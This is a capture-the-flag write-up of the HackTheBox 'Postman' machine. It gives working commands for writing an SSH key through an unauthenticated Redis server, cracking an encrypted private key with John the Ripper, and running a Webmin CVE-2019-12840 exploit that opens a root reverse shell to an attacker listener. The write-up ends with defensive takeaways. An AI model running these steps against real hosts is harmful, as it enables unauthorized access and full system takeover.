Postman — Unauthenticated Redis to Webmin RCE
Introduction
Postman is an Easy Linux machine on HackTheBox that illustrates two common real-world misconfigurations: a Redis instance exposed to the internet without authentication, and an outdated Webmin panel running as root. The attack chain is clean and teaches essential skills — abusing Redis write access, cracking encrypted SSH keys with John the Ripper, and understanding how CSRF protections can block manual exploits.
This machine is a great introduction to service-level attacks beyond web apps. If you’ve never touched Redis from an attacker’s perspective, this box will change how you think about exposed databases.
Attack Chain Summary
Nmap → Ports 22, 80, 6379 (Redis), 10000 (Webmin 1.910)
↓
Redis — no auth, write access
↓
SSH key injection via Redis CONFIG SET → shell as redis
↓
LinPEAS → /opt/id_rsa.bak (encrypted private key)
↓
john + rockyou → passphrase: computer2008
↓
su Matt → user flag
↓
Webmin 1.910 — CVE-2019-12840 (authenticated RCE)
↓
Root shell
Reconnaissance
Starting with a full TCP SYN scan to enumerate open ports and service versions:
sudo nmap -sS -sV -sC 10.129.2.1
-sS— SYN scan (stealth, faster than a full TCP connect)-sV— service version detection-sC— run default NSE scripts (banner grabbing, common checks)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 (Ubuntu)
10000/tcp open http MiniServ/1.910 (Webmin)
A full port scan with naabu reveals a fourth port:
naabu -host 10.129.2.1 -p 0-65535
10.129.2.1:22
10.129.2.1:80
10.129.2.1:10000
10.129.2.1:6379 ← Redis
What each port means:
| Port | Service | Why it matters |
|---|---|---|
| 22 | SSH | Possible foothold if we get credentials |
| 80 | Apache | Web application to enumerate |
| 6379 | Redis | In-memory database — dangerous if unauthenticated |
| 10000 | Webmin 1.910 | Admin panel running as root |
Enumeration
Port 80 — Web
Directory fuzzing with ffuf:
ffuf -u http://10.129.2.1/FUZZ \
-w /path/to/SecLists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,301,302,403 -t 50
-mc 200,301,302,403— only show these HTTP status codes-t 50— 50 threads for speed
Result: only static directories (images, upload, fonts, js, css). The site is a simple personal page with no login, no CMS, nothing exploitable. Virtual host fuzzing also returns nothing.
Port 10000 — Webmin
Webmin is a web-based system administration interface for Linux. Version 1.910 is shown in the HTTP response headers. A login page is present but we have no credentials yet.
Attempting CVE-2019-15107 (unauthenticated password reset bypass) fails — the password change feature is disabled on this installation.
Port 6379 — Redis
This is where the box opens up. Redis is an in-memory key-value store typically used as a cache or message broker. The critical question: is authentication required?
redis-cli -h postman.htb INFO server
No password prompt — the server responds immediately. Checking the config confirms:
redis-cli -h postman.htb CONFIG GET requirepass
# 1) "requirepass"
# 2) "" ← empty = no password
Also notable:
redis-cli -h postman.htb CONFIG GET dir
# 1) "dir"
# 2) "/var/lib/redis" ← Redis data directory
Redis is bound to 0.0.0.0 (all interfaces), unauthenticated, and running as the redis system user. This is a well-known misconfiguration that allows writing arbitrary files to disk.
Foothold — Redis SSH Key Injection
Redis has a feature called CONFIG SET that allows changing its configuration at runtime — including the working directory (dir) and the filename it uses when saving data to disk (dbfilename). If Redis runs as a user with a home directory, we can write our SSH public key into its authorized_keys file.
Step 1 — Generate an SSH key pair on our machine:
ssh-keygen -t rsa -b 2048 -f ./id_rsa -N ""
-t rsa— RSA algorithm-b 2048— 2048-bit key-f ./id_rsa— output filename-N ""— no passphrase (so we don’t need one to use it)
Step 2 — Push the public key into Redis as a value:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > payload.txt
cat payload.txt | redis-cli -h 10.129.2.1 -x set ssh_key
The extra newlines are important — they pad the Redis dump file so the SSH daemon can parse the public key correctly despite the surrounding Redis binary data.
Step 3 — Point Redis to write its dump file as authorized_keys:
redis-cli -h 10.129.2.1
> CONFIG SET dir /var/lib/redis/.ssh
> CONFIG SET dbfilename authorized_keys
> SAVE
Redis will now flush its in-memory data (including our SSH key) into /var/lib/redis/.ssh/authorized_keys.
Step 4 — Connect via SSH:
chmod 600 id_rsa
ssh -i id_rsa redis@10.129.2.1
We land as the redis user.
Lateral Movement — redis → Matt
Running LinPEAS reveals an interesting file:
-rwxr-xr-x 1 Matt Matt 1743 Aug 26 2019 /opt/id_rsa.bak
This is an encrypted RSA private key belonging to user Matt. The fact that it’s world-readable is a misconfiguration — the owner likely left it there as a backup and forgot about it.
The key header shows it’s encrypted:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
...
We need to crack the passphrase. Copy the key to our machine and use John the Ripper:
# Convert the SSH private key to a format John can crack
python3 john2ssh.py id_rsa.bak > ssh.hash
# Run dictionary attack with rockyou
john --wordlist=/path/to/rockyou.txt ssh.hash
John finds the passphrase almost immediately:
computer2008 (id_rsa.bak)
Attempting to SSH directly with this key fails (the key format is invalid as a standalone auth method), but we can use the password credential instead. From our redis shell, we switch users:
su Matt
# Password: computer2008
Matt@Postman:/tmp$ cat /home/Matt/user.txt
[redacted]
Privilege Escalation — CVE-2019-12840 (Webmin RCE)
Webmin 1.910 is vulnerable to CVE-2019-12840, an authenticated remote code execution vulnerability in the Package Updates module. When a user with package update permissions requests an update, Webmin passes the package name directly to a shell command without sanitization. An attacker can inject arbitrary commands into this parameter.
Why does this give root? Webmin itself runs as root. Any code it executes inherits root privileges.
Requirements:
- Valid Webmin credentials (Matt : computer2008 — credential reuse)
- Matt must have package update permissions in Webmin
We use the public PoC:
python3 exploit.py \
-u https://10.129.2.1 \
-p 10000 \
-U Matt \
-P computer2008 \
-lhost 10.10.14.165 \
-lport 5555
With a netcat listener running:
ncat -lvnp 5555
Ncat: Connection from 10.129.2.1:41712.
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt
[redacted]
Why the manual Burp exploit failed
When attempting to replicate the exploit manually in Burp Suite, Webmin returned a CSRF security warning:
Warning! Webmin has detected that the program was linked to from an unknown URL
Webmin validates the Referer header against its own origin. In the manual request, the Referer was set to:
Referer: 10.129.2.1:10000/package-updates/?xnavigation=1
Since Webmin runs over HTTPS, it expects:
Referer: https://10.129.2.1:10000/package-updates/?xnavigation=1
The missing https:// scheme caused Webmin to reject the request as a potential CSRF attack. The automated script builds this header correctly. A one-character difference between success and failure — a good reminder to always check security headers when a manual exploit fails while an automated one works.
Flags
User flag : [redacted]
Root flag : [redacted]
Key Takeaways
-
Redis exposed without authentication is critical. If Redis binds to
0.0.0.0with no password, an attacker can write arbitrary files as theredisOS user. Always bind Redis to127.0.0.1and enablerequirepass. -
Backup files left world-readable are a goldmine.
/opt/id_rsa.bakwas readable by everyone. Sensitive files — especially private keys — should never be accessible outside their intended owner. -
Credential reuse is everywhere. The same password cracked from an SSH key backup also worked on Webmin. Always check credentials against all services.
-
Automated exploits handle HTTP details you might miss. When a manual exploit fails but an automated one works, compare the exact HTTP requests. Here, the missing
https://in the Referer header was the entire difference. -
Webmin running as root amplifies any RCE to full compromise. An authenticated user with limited permissions can become root if any Webmin module passes user input unsanitized to a shell command.